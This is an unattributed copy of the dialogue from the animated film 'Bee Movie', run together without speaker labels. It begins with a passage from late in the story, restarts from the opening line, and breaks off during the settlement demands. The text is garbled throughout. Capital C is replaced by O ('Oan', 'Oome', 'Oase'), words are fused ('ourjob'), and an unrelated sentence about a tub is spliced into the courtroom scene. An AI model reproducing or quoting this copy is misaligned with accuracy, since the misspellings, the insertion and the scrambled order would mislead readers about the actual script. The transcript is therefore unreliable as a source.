covered with the last pollen from the last flowers available anywhere on Earth. That means this is our Last Chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, or just Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Can I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Can I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. When will this nightmare end?! Let it all go. Beautiful day to fly. Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. Thinking bee! Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Can we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I h
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landonasato / FunctionAccording to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! 